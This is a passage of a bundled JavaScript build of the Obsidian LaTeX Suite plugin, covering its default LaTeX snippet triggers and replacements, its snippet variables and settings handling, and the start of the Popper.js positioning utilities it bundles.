1},\n {trigger: "([a-zA-Z])tilde", replacement: "\\\\tilde{[[0]]}", options: "rmA"},\n {trigger: "([a-zA-Z])und", replacement: "\\\\underline{[[0]]}", options: "rmA"},\n {trigger: "([a-zA-Z])vec", replacement: "\\\\vec{[[0]]}", options: "rmA"},\n {trigger: "([a-zA-Z]),\\\\.", replacement: "\\\\mathbf{[[0]]}", options: "rmA"},\n {trigger: "([a-zA-Z])\\\\.,", replacement: "\\\\mathbf{[[0]]}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}),\\\\.", replacement: "\\\\boldsymbol{\\\\[[0]]}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK})\\\\.,", replacement: "\\\\boldsymbol{\\\\[[0]]}", options: "rmA"},\n\n {trigger: "hat", replacement: "\\\\hat{$0}$1", options: "mA"},\n {trigger: "bar", replacement: "\\\\bar{$0}$1", options: "mA"},\n {trigger: "dot", replacement: "\\\\dot{$0}$1", options: "mA", priority: -1},\n {trigger: "ddot", replacement: "\\\\ddot{$0}$1", options: "mA"},\n {trigger: "cdot", replacement: "\\\\cdot", options: "mA"},\n {trigger: "tilde", replacement: "\\\\tilde{$0}$1", options: "mA"},\n {trigger: "und", replacement: "\\\\underline{$0}$1", options: "mA"},\n {trigger: "vec", replacement: "\\\\vec{$0}$1", options: "mA"},\n\n // More auto letter subscript\n {trigger: /([A-Za-z])_(\\d\\d)/, replacement: "[[0]]_{[[1]]}", options: "rmA"},\n {trigger: /\\\\hat{([A-Za-z])}(\\d)/, replacement: "\\\\hat{[[0]]}_{[[1]]}", options: "rmA"},\n {trigger: /\\\\vec{([A-Za-z])}(\\d)/, replacement: "\\\\vec{[[0]]}_{[[1]]}", options: "rmA"},\n {trigger: /\\\\mathbf{([A-Za-z])}(\\d)/, replacement: "\\\\mathbf{[[0]]}_{[[1]]}", options: "rmA"},\n\n {trigger: "xnn", replacement: "x_{n}", options: "mA"},\n {trigger: "\\\\xii", replacement: "x_{i}", options: "mA", priority: 1},\n {trigger: "xjj", replacement: "x_{j}", options: "mA"},\n {trigger: "xp1", replacement: "x_{n+1}", options: "mA"},\n {trigger: "ynn", replacement: "y_{n}", options: "mA"},\n {trigger: "yii", replacement: "y_{i}", options: "mA"},\n {trigger: "yjj", replacement: "y_{j}", options: "mA"},\n\n // Symbols\n {trigger: "ooo", replacement: "\\\\infty", options: "mA"},\n {trigger: "sum", replacement: "\\\\sum", options: "mA"},\n {trigger: "prod", replacement: "\\\\prod", options: "mA"},\n {trigger: "\\\\sum", replacement: "\\\\sum_{${0:i}=${1:1}}^{${2:N}} $3", options: "m"},\n {trigger: "\\\\prod", replacement: "\\\\prod_{${0:i}=${1:1}}^{${2:N}} $3", options: "m"},\n {trigger: "lim", replacement: "\\\\lim_{ ${0:n} \\\\to ${1:\\\\infty} } $2", options: "mA"},\n {trigger: "+-", replacement: "\\\\pm", options: "mA"},\n {trigger: "-+", replacement: "\\\\mp", options: "mA"},\n {trigger: "...", replacement: "\\\\dots", options: "mA"},\n {trigger: "nabl", replacement: "\\\\nabla", options: "mA"},\n {trigger: "del", replacement: "\\\\nabla", options: "mA"},\n {trigger: "xx", replacement: "\\\\times", options: "mA"},\n {trigger: "**", replacement: "\\\\cdot", options: "mA"},\n {trigger: "para", replacement: "\\\\parallel", options: "mA"},\n\n {trigger: "===", replacement: "\\\\equiv", options: "mA"},\n {trigger: "!=", replacement: "\\\\neq", options: "mA"},\n {trigger: ">=", replacement: "\\\\geq", options: "mA"},\n {trigger: "<=", replacement: "\\\\leq", options: "mA"},\n {trigger: ">>", replacement: "\\\\gg", options: "mA"},\n {trigger: "<<", replacement: "\\\\ll", options: "mA"},\n {trigger: "simm", replacement: "\\\\sim", options: "mA"},\n {trigger: "sim=", replacement: "\\\\simeq", options: "mA"},\n {trigger: "prop", replacement: "\\\\propto", options: "mA"},\n\n\n {trigger: "<->", replacement: "\\\\leftrightarrow ", options: "mA"},\n {trigger: "->", replacement: "\\\\to", options: "mA"},\n {trigger: "!>", replacement: "\\\\mapsto", options: "mA"},\n {trigger: "=>", replacement: "\\\\implies", options: "mA"},\n {trigger: "=<", replacement: "\\\\impliedby", options: "mA"},\n\n {trigger: "and", replacement: "\\\\cap", options: "mA"},\n {trigger: "orr", replacement: "\\\\cup", options: "mA"},\n {trigger: "inn", replacement: "\\\\in", options: "mA"},\n {trigger: "notin", replacement: "\\\\not\\\\in", options: "mA"},\n {trigger: "\\\\\\\\\\\\", replacement: "\\\\setminus", options: "mA"},\n {trigger: "sub=", replacement: "\\\\subseteq", options: "mA"},\n {trigger: "sup=", replacement: "\\\\supseteq", options: "mA"},\n {trigger: "eset", replacement: "\\\\emptyset", options: "mA"},\n {trigger: "set", replacement: "\\\\{ $0 \\\\}$1", options: "mA"},\n {trigger: "e\\\\xi sts", replacement: "\\\\exists", options: "mA", priority: 1},\n\n {trigger: "LL", replacement: "\\\\mathcal{L}", options: "mA"},\n {trigger: "HH", replacement: "\\\\mathcal{H}", options: "mA"},\n {trigger: "CC", replacement: "\\\\mathbb{C}", options: "mA"},\n {trigger: "RR", replacement: "\\\\mathbb{R}", options: "mA"},\n {trigger: "ZZ", replacement: "\\\\mathbb{Z}", options: "mA"},\n {trigger: "NN", replacement: "\\\\mathbb{N}", options: "mA"},\n\n // Handle spaces and backslashes\n\n // Snippet variables can be used as shortcuts when writing snippets.\n // For example, ${GREEK} below is shorthand for "alpha|beta|gamma|Gamma|delta|..."\n // You can edit snippet variables under the Advanced snippet settings section.\n\n {trigger: "([^\\\\\\\\])(${GREEK})", replacement: "[[0]]\\\\[[1]]", options: "rmA", description: "Add backslash before Greek letters"},\n {trigger: "([^\\\\\\\\])(${SYMBOL})", replacement: "[[0]]\\\\[[1]]", options: "rmA", description: "Add backslash before symbols"},\n\n // Insert space after Greek letters and symbols\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}|${MORE_SYMBOLS})([A-Za-z])", replacement: "\\\\[[0]] [[1]]", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) sr", replacement: "\\\\[[0]]^{2}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) cb", replacement: "\\\\[[0]]^{3}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) rd", replacement: "\\\\[[0]]^{$0}$1", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) hat", replacement: "\\\\hat{\\\\[[0]]}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) dot", replacement: "\\\\dot{\\\\[[0]]}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) bar", replacement: "\\\\bar{\\\\[[0]]}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) vec", replacement: "\\\\vec{\\\\[[0]]}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) tilde", replacement: "\\\\tilde{\\\\[[0]]}", options: "rmA"},\n {trigger: "\\\\\\\\(${GREEK}|${SYMBOL}) und", replacement: "\\\\underline{\\\\[[0]]}", options: "rmA"},\n\n\n // Derivatives and integrals\n {trigger: "par", replacement: "\\\\frac{ \\\\partial ${0:y} }{ \\\\partial ${1:x} } $2", options: "m"},\n {trigger: /pa([A-Za-z])([A-Za-z])/, replacement: "\\\\frac{ \\\\partial [[0]] }{ \\\\partial [[1]] } ", options: "rm"},\n {trigger: "ddt", replacement: "\\\\frac{d}{dt} ", options: "mA"},\n\n {trigger: /([^\\\\])int/, replacement: "[[0]]\\\\int", options: "mA", priority: -1},\n {trigger: "\\\\int", replacement: "\\\\int $0 \\\\, d${1:x} $2", options: "m"},\n {trigger: "dint", replacement: "\\\\int_{${0:0}}^{${1:1}} $2 \\\\, d${3:x} $4", options: "mA"},\n {trigger: "oint", replacement: "\\\\oint", options: "mA"},\n {trigger: "iint", replacement: "\\\\iint", options: "mA"},\n {trigger: "iiint", replacement: "\\\\iiint", options: "mA"},\n {trigger: "oinf", replacement: "\\\\int_{0}^{\\\\infty} $0 \\\\, d${1:x} $2", options: "mA"},\n {trigger: "infi", replacement: "\\\\int_{-\\\\infty}^{\\\\infty} $0 \\\\, d${1:x} $2", options: "mA"},\n\n\n // Trigonometry\n {trigger: /([^\\\\])(arcsin|sin|arccos|cos|arctan|tan|csc|sec|cot)/, replacement: "[[0]]\\\\[[1]]", options: "rmA", description: "Add backslash before trig funcs"},\n\n {trigger: /\\\\(arcsin|sin|arccos|cos|arctan|tan|csc|sec|cot)([A-Za-gi-z])/,\n replacement: "\\\\[[0]] [[1]]", options: "rmA",\n description: "Add space after trig funcs. Skips letter h to allow sinh, cosh, etc."},\n\n {trigger: /\\\\(sinh|cosh|tanh|coth)([A-Za-z])/,\n replacement: "\\\\[[0]] [[1]]", options: "rmA",\n description: "Add space after hyperbolic trig funcs"},\n\n\n // Visual operations\n {trigger: "U", replacement: "\\\\underbrace{ ${VISUAL} }_{ $0 }", options: "mA"},\n {trigger: "O", replacement: "\\\\overbrace{ ${VISUAL} }^{ $0 }", options: "mA"},\n {trigger: "B", replacement: "\\\\underset{ $0 }{ ${VISUAL} }", options: "mA"},\n {trigger: "C", replacement: "\\\\cancel{ ${VISUAL} }", options: "mA"},\n {trigger: "K", replacement: "\\\\cancelto{ $0 }{ ${VISUAL} }", options: "mA"},\n {trigger: "S", replacement: "\\\\sqrt{ ${VISUAL} }", options: "mA"},\n\n\n // Physics\n {trigger: "kbt", replacement: "k_{B}T", options: "mA"},\n {trigger: "msun", replacement: "M_{\\\\odot}", options: "mA"},\n\n // Quantum mechanics\n {trigger: "dag", replacement: "^{\\\\dagger}", options: "mA"},\n {trigger: "o+", replacement: "\\\\oplus ", options: "mA"},\n {trigger: "ox", replacement: "\\\\otimes ", options: "mA"},\n {trigger: "bra", replacement: "\\\\bra{$0} $1", options: "mA"},\n {trigger: "ket", replacement: "\\\\ket{$0} $1", options: "mA"},\n {trigger: "brk", replacement: "\\\\braket{ $0 | $1 } $2", options: "mA"},\n {trigger: "outer", replacement: "\\\\ket{${0:\\\\psi}} \\\\bra{${0:\\\\psi}} $1", options: "mA"},\n\n // Chemistry\n {trigger: "pu", replacement: "\\\\pu{ $0 }", options: "mA"},\n {trigger: "cee", replacement: "\\\\ce{ $0 }", options: "mA"},\n {trigger: "he4", replacement: "{}^{4}_{2}He ", options: "mA"},\n {trigger: "he3", replacement: "{}^{3}_{2}He ", options: "mA"},\n {trigger: "iso", replacement: "{}^{${0:4}}_{${1:2}}${2:He}", options: "mA"},\n\n\n // Environments\n {trigger: "pmat", replacement: "\\\\begin{pmatrix}\\n$0\\n\\\\end{pmatrix}", options: "MA"},\n {trigger: "bmat", replacement: "\\\\begin{bmatrix}\\n$0\\n\\\\end{bmatrix}", options: "MA"},\n {trigger: "Bmat", replacement: "\\\\begin{Bmatrix}\\n$0\\n\\\\end{Bmatrix}", options: "MA"},\n {trigger: "vmat", replacement: "\\\\begin{vmatrix}\\n$0\\n\\\\end{vmatrix}", options: "MA"},\n {trigger: "Vmat", replacement: "\\\\begin{Vmatrix}\\n$0\\n\\\\end{Vmatrix}", options: "MA"},\n {trigger: "matrix", replacement: "\\\\begin{matrix}\\n$0\\n\\\\end{matrix}", options: "MA"},\n\n {trigger: "pmat", replacement: "\\\\begin{pmatrix}$0\\\\end{pmatrix}", options: "nA"},\n {trigger: "bmat", replacement: "\\\\begin{bmatrix}$0\\\\end{bmatrix}", options: "nA"},\n {trigger: "Bmat", replacement: "\\\\begin{Bmatrix}$0\\\\end{Bmatrix}", options: "nA"},\n {trigger: "vmat", replacement: "\\\\begin{vmatrix}$0\\\\end{vmatrix}", options: "nA"},\n {trigger: "Vmat", replacement: "\\\\begin{Vmatrix}$0\\\\end{Vmatrix}", options: "nA"},\n {trigger: "matrix", replacement: "\\\\begin{matrix}$0\\\\end{matrix}", options: "nA"},\n\n {trigger: "cases", replacement: "\\\\begin{cases}\\n$0\\n\\\\end{cases}", options: "mA"},\n {trigger: "align", replacement: "\\\\begin{align}\\n$0\\n\\\\end{align}", options: "mA"},\n {trigger: "array", replacement: "\\\\begin{array}\\n$0\\n\\\\end{array}", options: "mA"},\n\n\n // Brackets\n {trigger: "avg", replacement: "\\\\langle $0 \\\\rangle $1", options: "mA"},\n {trigger: "norm", replacement: "\\\\lvert $0 \\\\rvert $1", options: "mA", priority: 1},\n {trigger: "Norm", replacement: "\\\\lVert $0 \\\\rVert $1", options: "mA", priority: 1},\n {trigger: "ceil", replacement: "\\\\lceil $0 \\\\rceil $1", options: "mA"},\n {trigger: "floor", replacement: "\\\\lfloor $0 \\\\rfloor $1", options: "mA"},\n {trigger: "mod", replacement: "|$0|$1", options: "mA"},\n {trigger: "(", replacement: "(${VISUAL})", options: "mA"},\n {trigger: "[", replacement: "[${VISUAL}]", options: "mA"},\n {trigger: "{", replacement: "{${VISUAL}}", options: "mA"},\n {trigger: "(", replacement: "($0)$1", options: "mA"},\n {trigger: "{", replacement: "{$0}$1", options: "mA"},\n {trigger: "[", replacement: "[$0]$1", options: "mA"},\n {trigger: "lr(", replacement: "\\\\left( $0 \\\\right) $1", options: "mA"},\n {trigger: "lr{", replacement: "\\\\left\\\\{ $0 \\\\right\\\\} $1", options: "mA"},\n {trigger: "lr[", replacement: "\\\\left[ $0 \\\\right] $1", options: "mA"},\n {trigger: "lr|", replacement: "\\\\left| $0 \\\\right| $1", options: "mA"},\n {trigger: "lra", replacement: "\\\\left< $0 \\\\right> $1", options: "mA"},\n\n\n // Misc\n\n // Automatically convert standalone letters in text to math (except a, A, I).\n // (Un-comment to enable)\n // {trigger: /([^\'])\\b([B-HJ-Zb-z])\\b([\\n\\s.,?!:\'])/, replacement: "[[0]]$[[1]]$[[2]]", options: "tA"},\n\n // Automatically convert Greek letters in text to math.\n // {trigger: "(${GREEK})([\\\\n\\\\s.,?!:\'])", replacement: "$\\\\[[0]]$[[1]]", options: "rtAw"},\n\n // Automatically convert text of the form "x=2" and "x=n+1" to math.\n // {trigger: /([A-Za-z]=\\d+)([\\n\\s.,?!:\'])/, replacement: "$[[0]]$[[1]]", options: "rtAw"},\n // {trigger: /([A-Za-z]=[A-Za-z][+-]\\d+)([\\n\\s.,?!:\'])/, replacement: "$[[0]]$[[1]]", options: "tAw"},\n\n\n // Snippet replacements can have placeholders.\n {trigger: "tayl", replacement: "${0:f}(${1:x} + ${2:h}) = ${0:f}(${1:x}) + ${0:f}\'(${1:x})${2:h} + ${0:f}\'\'(${1:x}) \\\\frac{${2:h}^{2}}{2!} + \\\\dots$3", options: "mA", description: "Taylor expansion"},\n\n // Snippet replacements can also be JavaScript functions.\n // See the documentation for more information.\n {trigger: /iden(\\d)/, replacement: (match) => {\n const n = match[1];\n\n let arr = [];\n for (let j = 0; j < n; j++) {\n arr[j] = [];\n for (let i = 0; i < n; i++) {\n arr[j][i] = (i === j) ? 1 : 0;\n }\n }\n\n let output = arr.map(el => el.join(" & ")).join(" \\\\\\\\\\n");\n output = `\\\\begin{pmatrix}\\n${output}\\n\\\\end{pmatrix}`;\n return output;\n }, options: "mA", description: "N x N identity matrix"},\n]\n'; + +// src/utils/default_snippets.ts +var DEFAULT_SNIPPETS = default_snippets_default; + +// _cido53poa:/home/runner/work/obsidian-latex-suite/obsidian-latex-suite/src/default_snippet_variables.js +var default_snippet_variables_default = '{\n "${GREEK}": "alpha|beta|gamma|Gamma|delta|Delta|epsilon|varepsilon|zeta|eta|theta|vartheta|Theta|iota|kappa|lambda|Lambda|mu|nu|xi|omicron|pi|rho|varrho|sigma|Sigma|tau|upsilon|Upsilon|phi|varphi|Phi|chi|psi|omega|Omega",\n "${SYMBOL}": "parallel|perp|partial|nabla|hbar|ell|infty|oplus|ominus|otimes|oslash|square|star|dagger|vee|wedge|subseteq|subset|supseteq|supset|emptyset|exists|nexists|forall|implies|impliedby|iff|setminus|neg|lor|land|bigcup|bigcap|cdot|times|simeq|approx",\n "${MORE_SYMBOLS}": "leq|geq|neq|gg|ll|equiv|sim|propto|rightarrow|leftarrow|Rightarrow|Leftarrow|leftrightarrow|to|mapsto|cap|cup|in|sum|prod|exp|ln|log|det|dots|vdots|ddots|pm|mp|int|iint|iiint|oint"\n}\n'; + +// src/utils/default_snippet_variables.ts +var DEFAULT_SNIPPET_VARIABLES = default_snippet_variables_default; + +// src/settings/settings.ts +var DEFAULT_SETTINGS = { + snippets: DEFAULT_SNIPPETS, + snippetVariables: DEFAULT_SNIPPET_VARIABLES, + // Basic settings + snippetsEnabled: true, + snippetsTrigger: "Tab", + suppressSnippetTriggerOnIME: true, + removeSnippetWhitespace: true, + autoDelete$: true, + loadSnippetsFromFile: false, + loadSnippetVariablesFromFile: false, + snippetsFileLocation: "", + snippetVariablesFileLocation: "", + concealEnabled: false, + concealRevealTimeout: 0, + colorPairedBracketsEnabled: true, + highlightCursorBracketsEnabled: true, + mathPreviewEnabled: true, + mathPreviewPositionIsAbove: true, + autofractionEnabled: true, + autofractionSymbol: "\\frac", + autofractionBreakingChars: "+-= ", + matrixShortcutsEnabled: true, + taboutEnabled: true, + autoEnlargeBrackets: true, + wordDelimiters: "., +-\\n :;!?\\/{}[]()=~$", + // Raw settings + autofractionExcludedEnvs: `[ + ["^{", "}"], + ["\\\\pu{", "}"] + ]`, + matrixShortcutsEnvNames: "pmatrix, cases, align, gather, bmatrix, Bmatrix, vmatrix, Vmatrix, array, matrix", + autoEnlargeBracketsTriggers: "sum, int, frac, prod, bigcup, bigcap", + forceMathLanguages: "math" +}; +function processLatexSuiteSettings(snippets2, settings) { + function strToArray(str) { + return str.replace(/\s/g, "").split(","); + } + function getAutofractionExcludedEnvs(envsStr) { + let envs = []; + try { + const envsJSON = JSON.parse(envsStr); + envs = envsJSON.map(function(env) { + return { openSymbol: env[0], closeSymbol: env[1] }; + }); + } catch (e) { + console.log(e); + } + return envs; + } + return __spreadProps(__spreadValues({}, settings), { + // Override raw settings with parsed settings + snippets: snippets2, + autofractionExcludedEnvs: getAutofractionExcludedEnvs(settings.autofractionExcludedEnvs), + matrixShortcutsEnvNames: strToArray(settings.matrixShortcutsEnvNames), + autoEnlargeBracketsTriggers: strToArray(settings.autoEnlargeBracketsTriggers), + forceMathLanguages: strToArray(settings.forceMathLanguages) + }); +} + +// src/settings/settings_tab.ts +var import_state3 = require("@codemirror/state"); +var import_view4 = require("@codemirror/view"); +var import_obsidian4 = require("obsidian"); + +// src/settings/ui/file_suggest.ts +var import_obsidian3 = require("obsidian"); + +// node_modules/@popperjs/core/lib/enums.js +var top = "top"; +var bottom = "bottom"; +var right = "right"; +var left = "left"; +var auto = "auto"; +var basePlacements = [top, bottom, right, left]; +var start = "start"; +var end = "end"; +var clippingParents = "clippingParents"; +var viewport = "viewport"; +var popper = "popper"; +var reference = "reference"; +var variationPlacements = /* @__PURE__ */ basePlacements.reduce(function(acc, placement) { + return acc.concat([placement + "-" + start, placement + "-" + end]); +}, []); +var placements = /* @__PURE__ */ [].concat(basePlacements, [auto]).reduce(function(acc, placement) { + return acc.concat([placement, placement + "-" + start, placement + "-" + end]); +}, []); +var beforeRead = "beforeRead"; +var read = "read"; +var afterRead = "afterRead"; +var beforeMain = "beforeMain"; +var main = "main"; +var afterMain = "afterMain"; +var beforeWrite = "beforeWrite"; +var write = "write"; +var afterWrite = "afterWrite"; +var modifierPhases = [beforeRead, read, afterRead, beforeMain, main, afterMain, beforeWrite, write, afterWrite]; + +// node_modules/@popperjs/core/lib/dom-utils/getNodeName.js +function getNodeName(element) { + return element ? (element.nodeName || "").toLowerCase() : null; +} + +// node_modules/@popperjs/core/lib/dom-utils/getWindow.js +function getWindow(node) { + if (node == null) { + return window; + } + if (node.toString() !== "[object Window]") { + var ownerDocument = node.ownerDocument; + return ownerDocument ? ownerDocument.defaultView || window : window; + } + return node; +} + +// node_modules/@popperjs/core/lib/dom-utils/instanceOf.js +function isElement(node) { + var OwnElement = getWindow(node).Element; + return node instanceof OwnElement || node instanceof Element; +} +function isHTMLElement(node) { + var OwnElement = getWindow(node).HTMLElement; + return node instanceof OwnElement || node instanceof HTMLElement; +} +function isShadowRoot(node) { + if (typeof ShadowRoot === "undefined") { + return false; + } + var OwnElement = getWindow(node).ShadowRoot; + return node instanceof OwnElement || node instanceof ShadowRoot; +} + +// node_modules/@popperjs/core/lib/modifiers/applyStyles.js +function applyStyles(_ref) { + var state = _ref.state; + Object.keys(state.elements).forEach(function(name) { + var style = state.styles[name] || {}; + var attributes = state.attributes[name] || {}; + var element = state.elements[name]; + if (!isHTMLElement(element) || !getNodeName(element)) { + return; + } + Object.assign(element.style, style); + Object.keys(attributes).forEach(function(name2) { + var value = attributes[name2]; + if (value === false) { + element.removeAttribute(name2); + } else { + element.setAttribute(name2, value === true ? "" : value); + } + }); + }); +} +function effect(_ref2) { + var state = _ref2.state; + var initialStyles = { + popper: { + position: state.options.strategy, + left: "0", + top: "0", + margin: "0" + }, + arrow: { + position: "absolute" + }, + reference: {} + }; + Object.assign(state.elements.popper.style, initialStyles.popper); + state.styles = initialStyles; + if (state.elements.arrow) { + Object.assign(state.elements.arrow.style, initialStyles.arrow); + } + return function() { + Object.keys(state.elements).forEach(function(name) { + var element = state.elements[name]; + var attributes = state.attributes[name] || {}; + var styleProperties = Object.keys(state.styles.hasOwnProperty(name) ? state.styles[name] : initialStyles[name]); + var style = styleProperties.reduce(function(style2, property) { + style2[property] = ""; + return style2; + }, {}); + if (!isHTMLElement(element) || !getNodeName(element)) { + return; + } + Object.assign(element.style, style); + Object.keys(attributes).forEach(function(attribute) { + element.removeAttribute(attribute); + }); + }); + }; +} +var applyStyles_default = { + name: "applyStyles", + enabled: true, + phase: "write", + fn: applyStyles, + effect, + requires: ["computeStyles"] +}; + +// node_modules/@popperjs/core/lib/utils/getBasePlacement.js +function getBasePlacement(placement) { + return placement.split("-")[0]; +} + +// node_modules/@popperjs/core/lib/utils/math.js +var max = Math.max; +var min = Math.min; +var round = Math.round; + +// node_modules/@popperjs/core/lib/dom-utils/getBoundingClientRect.js +function getBoundingClientRect(element, includeScale) { + if (includeScale === void 0) { + includeScale = false; + } + var rect = element.getBoundingClientRect(); + var scaleX = 1; + var scaleY = 1; + if (isHTMLElement(element) && includeScale) { + var offsetHeight = element.offsetHeight; + var offsetWidth = element.offsetWidth; + if (offsetWidth > 0) { + scaleX = round(rect.width) / offsetWidth || 1; + } + if (offsetHeight > 0) { + scaleY = round(rect.height) / offsetHeight || 1; + } + } + return { + width: rect.width / scaleX, + height: rect.height / scaleY, + top: rect.top / scaleY, + right: rect.right / scaleX, + bottom: rect.bottom / scaleY, + left: rect.left / scaleX, + x: rect.left / scaleX, + y: rect.top / scaleY + }; +} + +// node_modules/@popperjs/core/lib/dom-utils/getLayoutRect.js +function getLayoutRect(element) { + var clientRect = getBoundingClientRect(element); + var width = element.offsetWidth; + var height = element.offsetHeight; + if (Math.abs(clientRect.width - width) <= 1) { + width = clientRect.width; + } + if (Math.abs(clientRect.height - height) <= 1) { + height = clientRect.height; + } + return { + x: element.offsetLeft, + y: element.offsetTop, + width, + height + }; +} + +// node_modules/@popperjs/core/lib/dom-utils/contains.js +function contains(parent, child) { + var rootNode = child.getRootNode && child.getRootNode(); + if (parent.contains(child)) { + return true; + } else if (rootNode && isShadowRoot(rootNode)) { + var next = child; + do { + if (next && parent.isSameNode(next)) { + return true; + } + next = next.parentNode || next.host; + } while (next); + } + return false; +} + +// node_modules/@popperjs/core/lib/dom-utils/getComputedStyle.js +function getComputedStyle(element) { + return getWindow(element).getComputedStyle(element); +} + +// node_modules/@popperjs/core/lib/dom-utils/isTableElement.js +function isTableElement(element) { + return ["table", "td", "th"].indexOf(getNodeName(element)) >= 0; +} + +// node_modules/@popperjs/core/lib/dom-utils/getDocumentElement.js +function getDocumentElement(element) { + return ((isElement(element) ? element.ownerDocument : ( + // $FlowFixMe[prop-missing] + element.document + )) || window.document).documentElement; +} + +// node_modules/@popperjs/core/lib/dom-utils/getParentNode.js +function getParentNode(element) { + if (getNodeName(element) === "html") { + return element; + } + return ( + // this is a quicker (but less type safe) way to save quite some bytes from the bundle + // $FlowFixMe[incompatible-return] + // $FlowFixMe[prop-missing] + element.assignedSlot || // step into the shadow DOM of the parent of a slotted node + element.parentNode || // DOM Element detected + (isShadowRoot(element) ? element.host : null) || // ShadowRoot detected + // $FlowFixMe[incompatible-call]: HTMLElement is a Node + getDocumentElement(element) + ); +} + +// node_modules/@popperjs/core/lib/dom-utils/getOffsetParent.js +function getTrueOffsetParent(element) { + if (!isHTMLElement(element) || // https://github.com/popperjs/popper-core/issues/837 + getComputedStyle(element).position === "fixed") { + return null; + } + return element.offsetParent; +} +function getContainingBlock(element) { + var isFirefox = navigator.userAgent.toLowerCase().indexOf("firefox") !== -1; + var isIE = navigator.userAgent.indexOf("Trident") !== -1; + if (isIE && isHTMLElement(element)) { + var elementCss = getComputedStyle(element); + if (elementCss.position === "fixed") { + return null; + } + } + var currentNode = getParentNode(element); + if (isShadowRoot(currentNode)) { + currentNode = currentNode.host; + } + while (isHTMLElement(currentNode) && ["html", "body"].indexOf(getNodeName(currentNode)) < 0) { + var css = getComputedStyle(currentNode); + if (css.transform !== "none" || css.perspective !== "none" || css.contain === "paint" || ["transform", "perspective"].indexOf(css.willChange) !== -1 || isFirefox && css.willChange === "filter" || isFirefox && css.filter && css.filter !== "none") { + return currentNode; + } else { + currentNode = currentNode.parentNode; + } + } + return null; +} +function getOffsetParent(element) { + var window2 = getWindow(element); + var offsetParent = getTrueOffsetParent(element); + while (offsetParent && isTableElement(offsetParent) && getComputedStyle(offsetParent).position === "static") { + offsetParent = getTrueOffsetParent(offsetParent); + } + if (offsetParent && (getNodeName(offsetParent) === "html" || getNodeName(offsetParent) === "body" && getComputedStyle(offsetParent).position === "static")) { + return window2; + } + return offsetParent || getContainingBlock(element) || window2; +} + +// node_modules/@popperjs/core/lib/utils/getMainAxisFromPlacement.js +function getMainAxisFromPlacement(placement) { + return ["top", "bottom"].indexOf(placement) >= 0 ? "x" : "y"; +} + +// node_modules/@popperjs/core/lib/utils/within.js +function within(min2, value, max2) { + return max(min2, min(value, max2)); +} +function withinMaxClamp(min2, value, max2) { + var v = within(min2, value, max2); + return v > max2 ? max2 : v; +} + +// node_modules/@popperjs/core/lib/utils/getFreshSideObject.js +function getFreshSideObject() { + return { + top: 0, + right: 0, + bottom: 0, + left: 0 + }; +} + +// node_modules/@popperjs/core/lib/utils/mergePaddingObject.js +function mergePaddingObject(paddingObject) { + return Object.assign({}, getFreshSideObject(), paddingObject); +} + +// node_modules/@popperjs/core/lib/utils/expandToHashMap.js +function expandToHashMap(value, keys) { + return keys.reduce(function(hashMap, key) { + hashMap[key] = value; + return hashMap; + }, {}); +} + +// node_modules/@popperjs/core/lib/modifiers/arrow.js +var toPaddingObject = function toPaddingObject2(padding, state) { + padding = typeof padding === "function" ? padding(Object.assign({}, state.rects, { + placement: state.placement + })) : padding; + return mergePaddingObject(typeof padding !== "number" ? padding : expandToHashMap(padding, basePlacements)); +}; +function arrow(_ref) { + var _state$modifiersData$; + var state = _ref.state, name = _ref.name, options = _ref.options; + var arrowElement = state.elements.arrow; + var popperOffsets2 = state.modifiersData.popperOffsets; + var basePlacement = getBasePlacement(state.placement); + var axis = getMainAxisFromPlacement(basePlacement); + var isVertical = [left, right].indexOf(basePlacement) >= 0; + var len = isVertical ? "height" : "width"; + if (!arrowElement || !popperOffsets2) { + return; + } + var paddingObject = toPaddingObject(options.padding, state); + var arrowRect = getLayoutRect(arrowElement); + var minProp = axis === "y" ? top : left; + var maxProp = axis === "y" ? bottom : right; + var endDiff = state.rects.reference[len] + state.rects.reference[axis] - popperOffsets2[axis] - state.rects.popper[len]; + var startDiff = popperOffsets2[axis] - state.rects.reference[axis]; + var arrowOffsetParent = getOffsetParent(arrowElement); + var clientSize = arrowOffsetParent ? axis === "y" ? arrowOffsetParent.clientHeight || 0 : arrowOffsetParent.clientWidth || 0 : 0; + var centerToReference = endDiff / 2 - startDiff / 2; + var min2 = paddingObject[minProp]; + var max2 = clientSize - arrowRect[len] - paddingObject[maxProp]; + var center = clientSize / 2 - arrowRect[len] / 2 + centerToReference; + var offset2 = within(min2, center, max2); + var axisProp = axis; + state.modifiersData[name] = (_state$modifiersData$ = {}, _state$modifiersData$[axisProp] = offset2, _state$modifiersData$.centerOffset = offset2 - center, _state$modifiersData$); +} +function effect2(_ref2) { + var state = _ref2.state, options = _ref2.options; + var _options$element = options.element, arrowElement = _options$element === void 0 ? "[data-popper-arrow]" : _options$element; + if (arrowElement == null) { + return; + } + if (typeof arrowElement === "string") { + arrowElement = state.elements.popper.querySelector(arrowElement); + if (!arrowElement) { + return; + } + } + if (true) { + if (!isHTMLElement(arrowElement)) { + console.error(['Popper: "arrow" element must be an HTMLElement (not an SVGElement).', "To use an SVG arrow, wrap it in an HTMLElement that will be used as", "the arrow."].join(" ")); + } + } + if (!contains(state.elements.popper, arrowElement)) { + if (true) { + console.error(['Popper: "arrow" modifier\'s `element` must be a child of the popper', "element."].join(" ")); + } + return; + } + state.elements.arrow = arrowElement; +} +var arrow_default = { + name: "arrow", + enabled: true, + phase: "main", + fn: arrow, + effect: effect2, + requires: ["popperOffsets"], + requiresIfExists: ["preventOverflow"] +}; + +// node_modules/@popperjs/core/lib/utils/getVariation.js +function getVariation(placement) { + return placement.split("-")[1]; +} + +// node_modules/@popperjs/core/lib/modifiers/computeStyles.js +var unsetSides = { + top: "auto", + right: "auto", + bottom: "auto", + left: "auto" +}; +function roundOffsetsByDPR(_ref) { + var x = _ref.x, y = _ref.y; + var win = window; + var dpr = win.devicePixelRatio || 1; + return { + x: round(x * 